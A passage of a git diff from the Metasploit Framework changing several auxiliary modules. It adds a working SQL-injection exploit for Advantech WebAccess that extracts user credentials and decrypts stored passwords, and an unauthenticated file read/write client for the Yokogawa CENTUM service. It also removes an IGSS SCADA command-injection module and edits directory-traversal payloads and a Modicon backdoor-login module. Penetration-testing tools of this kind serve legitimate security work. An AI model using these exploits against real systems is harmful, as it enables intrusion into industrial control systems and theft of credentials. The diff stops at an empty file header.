# - def cleanup - datastore['RHOST'] = @last_rhost - datastore['RPORT'] = @last_rport - end - # # Convert the MAC option to binary format # @@ -85,6 +77,14 @@ class Metasploit3 < Msf::Auxiliary nil end + def wol_rhost + datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255" + end + + def wol_rport + 9 + end + def run # If the MAC is bad, no point to continue mac = get_mac_addr @@ -94,15 +94,6 @@ class Metasploit3 < Msf::Auxiliary pass = parse_password return if pass.nil? - # Save the original rhost:rport settings so we can restore them - # later once the module is done running - @last_rhost = rhost - @last_rport = rport - - # Config to broadcast - datastore['RHOST'] = datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255" - datastore['RPORT'] = 9 - # Craft the WOL packet wol_pkt = "\xff" * 6 #Sync stream (magic packet) wol_pkt << mac * 16 #Mac address @@ -110,7 +101,10 @@ class Metasploit3 < Msf::Auxiliary # Send out the packet print_status("Sending WOL packet...") - connect_udp + connect_udp( true, { + 'RHOST' => wol_rhost, + 'RPORT' => wol_rport + }) udp_sock.put(wol_pkt) disconnect_udp end diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 698fffa2c9..09375cf627 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary module to work, valid administrative user credentials must be supplied. }, - 'Author' => [ 'Carlos Perez ' ], + 'Author' => [ 'Carlos Perez ' ], 'License' => MSF_LICENSE )) end diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index b978544f56..57fc4959d3 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -358,7 +358,7 @@ class Metasploit3 < Msf::Auxiliary #CREATE TABLE TO STORE SQL SERVER DATA LOOT sql_data_tbl = Rex::Ui::Text::Table.new( 'Header' => 'SQL Server Data', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count'] ) diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index ae4d743ae6..6ad1b3abf7 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary This module will allow for simple SQL statements to be executed against a MSSQL/MSDE instance given the appropiate credentials. }, - 'Author' => [ 'tebo ' ], + 'Author' => [ 'tebo ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 1e881959d0..3f51218d2c 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -4,12 +4,13 @@ ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -21,12 +22,10 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::LPORT, - Opt::RPORT, - OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]), + OptPort.new('EXTERNAL_PORT', [true, 'The external port to foward from']), + OptPort.new('INTERNAL_PORT', [true, 'The internal port to forward to']), OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), - Opt::CHOST ], self.class ) @@ -43,21 +42,20 @@ class Metasploit3 < Msf::Auxiliary # get the external address first vprint_status "#{host} - NATPMP - Probing for external address" - req = Rex::Proto::NATPMP.external_address_request - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0) external_address = nil while (r = udp_sock.recvfrom(12, 1) and r[1]) - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) + (ver, op, result, epoch, external_address) = parse_external_address_response(r[0]) end vprint_status "#{host} - NATPMP - Sending mapping request" # build the mapping request - req = Rex::Proto::NATPMP.map_port_request( - datastore['LPORT'].to_i, datastore['RPORT'].to_i, + req = map_port_request( + datastore['INTERNAL_PORT'], datastore['EXTERNAL_PORT'], Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] ) # send it - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + udp_sock.sendto(req, host, datastore['RPORT'], 0) # handle the reply while (r = udp_sock.recvfrom(16, 1) and r[1]) handle_reply(Rex::Socket.source_address(host), host, external_address, r) @@ -78,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary pkt[1] = pkt[1].sub(/^::ffff:/, '') end - (ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + (ver, op, result, epoch, internal_port, external_port, lifetime) = parse_map_port_response(pkt[0]) if (result == 0) - if (datastore['RPORT'].to_i != external_port) + if (datastore['EXTERNAL_PORT'] != external_port) print_status( "#{external_address} " + - "#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + + "#{datastore['EXTERNAL_PORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") end print_status( "#{external_address} " + @@ -101,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary ) # report the external port as being open - if inside_workspace_boundary(external_address) + if inside_workspace_boundary?(external_address) report_service( :host => external_address, :port => external_port, diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 0b45caa265..1d14a5368d 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw( { - 'uri' => '/activeupdate/../../../../../../../../../../../boot.ini', + 'uri' => '/activeupdate/../../../../../../../../../../../windows\\win.ini', 'method' => 'GET', }, 20) @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary http_fingerprint({ :response => res }) if (res.code >= 200) - if (res.body =~ /boot/) + if (res.body =~ /for 16-bit app support/) vuln = "vulnerable." else vuln = "not vulnerable." diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 261ab2395a..b10f76cd21 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -49,9 +49,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', }, 5) - if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) print_status("Sending command: #{datastore['CMD']}...") @@ -59,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => '/property_box.php', 'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd), - 'cookie' => sessionid, + 'cookie' => res.get_cookies, 'method' => 'POST', }, 5) diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index 06264af018..d833ef5406 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -46,9 +46,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', }, 5) - if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) print_status("Sending command: #{datastore['CMD']}...") @@ -56,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => '/property_box.php', 'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd), - 'cookie' => sessionid, + 'cookie' => res.get_cookies, 'method' => 'POST', }, 5) diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index 334c8d1c12..4f2ab6f013 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary print_status("Starting brute force on #{rhost}, using sids from #{list}...") - fd = File.open(list, 'rb').each do |sid| + fd = ::File.open(list, 'rb').each do |sid| login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))" pkt = tns_packet(login) begin connect + rescue ::Interrupt + raise $! rescue => e print_error(e.to_s) disconnect @@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary sock.put(pkt) select(nil,nil,nil,s.to_i) - res = sock.get_once(-1,3) + res = sock.get_once disconnect - if ( res and res =~ /ERROR_STACK/ ) - '' - else + if res and res.to_s !~ /ERROR_STACK/ report_note( :host => rhost, :port => rport, @@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'") end + end print_status("Done with brute force...") diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb new file mode 100644 index 0000000000..8225a5cd31 --- /dev/null +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -0,0 +1,299 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech WebAccess SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The + vulnerability exists in the DBVisitor.dll component, and can be abused through malicious + requests to the ChartThemeConfig web service. This module can be used to extract the site + and project usernames and hashes. + }, + 'References' => + [ + [ 'CVE', '2014-0763' ], + [ 'ZDI', '14-077' ], + [ 'OSVDB', '105572' ], + [ 'BID', '66740' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-14-079-03' ] + ], + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Apr 08 2014" + )) + + register_options( + [ + OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']), + OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"]) + ], self.class) + end + + def build_soap(injection) + xml = Document.new + xml.add_element( + "s:Envelope", + { + 'xmlns:s' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + xml.root.add_element("s:Body") + body = xml.root.elements[1] + body.add_element( + "GetThemeNameList", + { + 'xmlns' => "http://tempuri.org/" + }) + name_list = body.elements[1] + name_list.add_element("userName") + name_list.elements['userName'].text = injection + + xml.to_s + end + + def do_sqli(injection, mark) + xml = build_soap(injection) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "Services", "ChartThemeConfig.svc"), + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { + 'SOAPAction' => '"http://tempuri.org/IChartThemeConfig/GetThemeNameList"' + }, + 'data' => xml + }) + + unless res && res.code == 200 && res.body && res.body.include?(mark) + return nil + end + + res.body.to_s + end + + def check + mark = Rex::Text.rand_text_alpha(8 + rand(5)) + injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' " + injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}" + data = do_sqli(injection, mark) + + if data.nil? + return Msf::Exploit::CheckCode::Safe + end + + Msf::Exploit::CheckCode::Vulnerable + end + + def parse_users(xml, mark, separator) + doc = Document.new(xml) + + strings = XPath.match(doc, "s:Envelope/s:Body/GetThemeNameListResponse/GetThemeNameListResult/a:string").map(&:text) + strings_length = strings.length + + unless strings_length > 1 + return + end + + i = 0 + strings.each do |result| + next if result == mark + @users << result.split(separator) + i = i + 1 + end + + end + + def run + print_status("#{peer} - Exploiting sqli to extract users information...") + mark = Rex::Text.rand_text_alpha(8 + rand(5)) + rand = Rex::Text.rand_text_numeric(2) + separator = Rex::Text.rand_text_alpha(5 + rand(5)) + # While installing I can only configure an Access backend, but + # according to documentation other backends are supported. This + # injection should be compatible, hopefully, with most backends. + injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}BAUser' from BAUser where #{rand}=#{rand} " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pUserPassword' from pUserPassword IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} " + injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pAdmin' from pAdmin IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} " + injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}" + data = do_sqli(injection, mark) + + if data.blank? + print_error("#{peer} - Error exploiting sqli") + return + end + + @users = [] + @plain_passwords = [] + + print_status("#{peer} - Parsing extracted data...") + parse_users(data, mark, separator) + + if @users.empty? + print_error("#{peer} - Users not found") + return + else + print_good("#{peer} - #{@users.length} users found!") + end + + users_table = Rex::Ui::Text::Table.new( + 'Header' => 'Advantech WebAccess Users', + 'Indent' => 1, + 'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin'] + ) + + for i in 0..@users.length - 1 + @plain_passwords[i] = + begin + decrypt_password(@users[i][1], @users[i][2]) + rescue + "(format not recognized)" + end + + @plain_passwords[i] = "(blank password)" if @plain_passwords[i].empty? + + begin + @plain_passwords[i].encode("ISO-8859-1").to_s + rescue Encoding::UndefinedConversionError + chars = @plain_passwords[i].unpack("C*") + @plain_passwords[i] = "0x#{chars.collect {|c| c.to_s(16)}.join(", 0x")}" + @plain_passwords[i] << " (ISO-8859-1 hex chars)" + end + + report_auth_info({ + :host => rhost, + :port => rport, + :user => @users[i][0], + :pass => @plain_passwords[i], + :type => "password", + :sname => (ssl ? "https" : "http"), + :proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}" + }) + + users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])] + end + + print_line(users_table.to_s) + end + + def user_type(database) + user_type = database + + unless database == "BAUser" + user_type << " (Web Access)" + end + + user_type + end + + def decrypt_password(password, key) + recovered_password = recover_password(password) + recovered_key = recover_key(key) + + recovered_bytes = decrypt_bytes(recovered_password, recovered_key) + password = [] + + recovered_bytes.each { |b| + if b == 0 + break + else + password.push(b) + end + } + + return password.pack("C*") + end + + def recover_password(password) + bytes = password.unpack("C*") + recovered = [] + + i = 0 + j = 0 + while i < 16 + low = bytes[i] + if low < 0x41 + low = low - 0x30 + else + low = low - 0x37 + end + low = low * 16 + + high = bytes[i+1] + if high < 0x41 + high = high - 0x30 + else + high = high - 0x37 + end + + recovered_byte = low + high + recovered[j] = recovered_byte + i = i + 2 + j = j + 1 + end + + recovered + end + + def recover_key(key) + bytes = key.unpack("C*") + recovered = 0 + + bytes[0, 8].each { |b| + recovered = recovered * 16 + if b < 0x41 + byte_weight = b - 0x30 + else + byte_weight = b - 0x37 + end + recovered = recovered + byte_weight + } + + recovered + end + + def decrypt_bytes(bytes, key) + result = [] + xor_table = [0xaa, 0xa5, 0x5a, 0x55] + key_copy = key + for i in 0..7 + byte = (crazy(bytes[i] ,8 - (key & 7)) & 0xff) + result.push(byte ^ xor_table[key_copy & 3]) + key_copy = key_copy / 4 + key = key / 8 + end + + result + end + + def crazy(byte, magic) + result = byte & 0xff + + while magic > 0 + result = result * 2 + if result & 0x100 == 0x100 + result = result + 1 + end + magic = magic - 1 + end + + result + end + +end + diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index c34366b974..d3f23b6be0 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb OptInt.new('DEPTH', [true, 'Traversal depth', 5]) ], self.class) diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb deleted file mode 100644 index 1b250ddf59..0000000000 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17' - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Interactive Graphical SCADA System Remote Command Injection', - 'Description' => %q{ - This module abuses a directory traversal flaw in Interactive - Graphical SCADA System v9.00. In conjunction with the traversal - flaw, if opcode 0x17 is sent to the dc.exe process, an attacker - may be able to execute arbitrary system commands. - }, - 'Author' => [ 'Luigi Auriemma', 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-1566'], - [ 'OSVDB', '72349'], - [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ], - ], - 'DisclosureDate' => 'Mar 21 2011')) - - register_options( - [ - Opt::RPORT(12397), - OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']), - ], self.class) - end - - def run - - connect - - exec = datastore['CMD'] - - packet = [0x00000100].pack('V') + [0x00000000].pack('V') - packet << [0x00000100].pack('V') + [0x00000017].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') - packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" - packet << "windows\\system32\\cmd.exe\" /c #{exec}" - packet << "\x00" * (143 + exec.length) - - print_status("Sending command: #{exec}") - sock.put(packet) - sock.get_once(-1,0.5) - disconnect - - end - -end diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index f8cdaadd8f..1b953fc3f0 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']), - OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']), + OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']) ], self.class) register_advanced_options( @@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary # device, then we're going to end up storing HTTP credentials that are not # correct. If there's a way to fingerprint the device, it should be done here. def check - return true unless datastore['RUN_CHECK'] is_modicon = false vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint" connect rescue nil @@ -68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary is_modicon = check_banner() disconnect else - print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" - return false + vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" + return Exploit::CheckCode::Unknown end + if is_modicon - print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + return Exploit::CheckCode::Detected else - print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" + vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" end - return is_modicon + + return Exploit::CheckCode::Safe end def run - if check() - if setup_ftp_connection() - grab() - end + if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected + print_status("Service detected.") + grab() if setup_ftp_connection() + else + grab() if setup_ftp_connection() end end diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb new file mode 100644 index 0000000000..f7ed07c56a --- /dev/null +++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa BKBCopyD.exe Client', + 'Description' => %q{ + This module allows an unauthenticated user to interact with the Yokogawa + CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR + operations. + }, + 'Author' => + [ 'Unknown' ], + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access'] + ], + 'Actions' => + [ + ['PMODE', { 'Description' => 'Leak the current database' }], + ['RETR', { 'Description' => 'Retrieve remote file' }], + ['STOR', { 'Description' => 'Store remote file' }] + ], + 'DisclosureDate' => 'Aug 9 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20111), + OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]), + OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ]) + ], self.class) + end + + def srvport + @srvport + end + + def run + exploit + end + + def exploit + @srvport = rand(1024..65535) + print_status("#{@srvport}") + # We make the client connection before giving control to the TCP Server + # in order to release the src port, so the server can start correctly + + case action.name + when 'PMODE' + print_status("Sending PMODE packet...") + data = "PMODE MR_DBPATH\n" + res = send_pkt(data) + if res and res =~ /^210/ + print_good("Success: #{res}") + else + print_error("Failed...") + end + return + when 'RETR' + data = "RETR #{datastore['RPATH']}\n" + print_status("Sending RETR packet...") + res = send_pkt(data) + return unless res and res =~ /^150/ + when 'STOR' + data = "STOR #{datastore['RPATH']}\n" + print_status("Sending STOR packet...") + res = send_pkt(data) + return unless res and res =~ /^150/ + else + print_error("Incorrect action") + return + end + + super # TCPServer :) + end + + def send_pkt(data) + connect(true, {'CPORT' => @srvport}) + sock.put(data) + data = sock.get_once + disconnect + + return data + end + + def valid_response?(data) + return false unless !!data + return false unless data =~ /500 'yyparse error': command not understood/ + return true + end + + def on_client_connect(c) + if action.name == 'STOR' + contents = "" + File.new(datastore['LPATH'], "rb") { |f| contents = f.read } + print_status("#{c.peerhost} - Sending data...") + c.put(contents) + self.service.close + self.service.stop + end + end + + def on_client_data(c) + print_status("#{c.peerhost} - Getting data...") + data = c.get_once + return unless data + if @store_path.blank? + @store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH']) + print_good("#{@store_path} saved!") + else + File.open(@store_path, "ab") { |f| f.write(data) } + print_good("More data on #{@store_path}") + end + end + + def on_client_close(c) + stop_service + end + +end + diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 8e6199dd41..eb0a819372 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'patrick', + 'j0hn__f' ], 'References' => [ @@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary end - def run_host(ip) - - vprint_status("Connecting to the server...") - + def check_path(path) begin - connect() - smb_login() - - vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - - vprint_status("Checking for file/folder #{datastore['RPATH']}...") - - if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc - print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}") - fd.close - end - rescue ::Rex::HostUnreachable - vprint_error("Host #{rhost} offline.") - rescue ::Rex::Proto::SMB::Exceptions::LoginError - vprint_error("Host #{rhost} login error.") + if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc + print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}") + fd.close + end rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY" - print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}") - elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND" - vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!") - elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND" - vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!") - elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED" + case e.get_error(e.error_code) + when "STATUS_FILE_IS_A_DIRECTORY" + print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}") + when "STATUS_OBJECT_NAME_NOT_FOUND" + vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_OBJECT_PATH_NOT_FOUND" + vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_ACCESS_DENIED" vprint_error("Host #{rhost} reports access denied.") - elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME" + when "STATUS_BAD_NETWORK_NAME" vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!") - elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES" + when "STATUS_INSUFF_SERVER_RESOURCES" vprint_error("Host #{rhost} rejected with insufficient resources!") + when "STATUS_OBJECT_NAME_INVALID" + vprint_error("opeining \\#{path} bad filename") else raise e end end end + def run_host(ip) + vprint_status("Connecting to the server...") + + begin + connect + smb_login + + vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + vprint_status("Checking for file/folder #{datastore['RPATH']}...") + + datastore['RPATH'].each_line do |path| + check_path(path.chomp) + end #end do + rescue ::Rex::HostUnreachable + vprint_error("Host #{rhost} offline.") + rescue ::Rex::Proto::SMB::Exceptions::LoginError + print_error("Host #{rhost} login error.") + rescue ::Rex::ConnectionRefused + print_error "Host #{rhost} unable to connect - connection refused" + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}" + end # end begin + end # end def end diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index e13a158888..4752d31ddc 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -7,7 +7,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -56,10 +55,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - def peer - return "#{rhost}:#{rport}" - end - # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt" diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 742aa2a4ef..7ae87153cb 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb 